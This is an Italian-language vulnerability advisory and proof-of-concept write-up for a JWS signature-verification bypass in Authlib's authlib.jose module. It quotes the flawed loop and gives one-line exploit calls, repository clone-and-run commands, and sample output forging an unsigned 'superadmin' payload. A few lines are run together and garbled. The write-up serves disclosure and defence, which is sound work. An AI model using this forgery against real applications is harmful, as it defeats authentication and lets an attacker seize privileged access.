
Authlib 1.7.2: bypass della verifica della firma - il JWS JSON generico accetta payload non firmati quando `signatures` è vuoto
Proof-of-concept per un bypass della verifica delle firme nel modulo authlib.jose di Authlib. JsonWebSignature.deserialize_json() accetta un oggetto JWS JSON Generale con un array signatures vuoto e restituisce il payload controllato dall'attaccante come verificato con successo - nessuna chiave richiesta, nessuna firma controllata.
Affetto: Authlib ≤ 1.7.2, modulo authlib.jose
Non affetto: il percorso JWT compatto (jwt.decode()). Questo bug è specifico dell'API JWS con Serializzazione JSON.
CWE: CWE-347 (Improper Verification of Cryptographic Signature), CWE-670, CWE-358
Stato: non corretto in 1.7.x - il modulo authlib.jose è stato rimosso del tutto in Authlib 1.8, non corretto. Qualsiasi deployment bloccato a una versione inferiore alla 1.8 rimane esposto.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid è inizializzato a True e viene modificato solo all'interno del corpo del ciclo. Quando signatures è [], il ciclo viene eseguito zero volte, nessuna logica di verifica viene eseguita e la funzione restituisce successo - un classico difetto di verità vacua. Entrambi i punti di ingresso pubblici sono interessati:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
Qualsiasi applicazione che verifica input JSON JWS controllati dall'attaccante tramite deserialize_json() o deserialize() perde le sue garanzie di autenticità/integrità su tale input:
sub, role, claim di sessionescope, tenant, permissionsgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
I tre casi isolano il difetto con precisione: una firma reale con la chiave sbagliata viene correttamente rifiutata, una firma reale con la chiave giusta viene correttamente accettata, e una lista di firme vuota - che dovrebbe essere il caso più rifiutato di tutti - viene accettata silenziosamente.
authlib.jose (nessuna correzione emessa): 30 lugauthlib.jose rimosso in Authlib 1.8 (non retroportato come correzione)Scoperto e segnalato da uziii2208 e nguyenminhtuan28.
Questo PoC è pubblicato per scopi educativi e difensivi - per aiutare manutentori, team di sicurezza e utenti downstream a comprendere e correggere il problema. Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione a testare.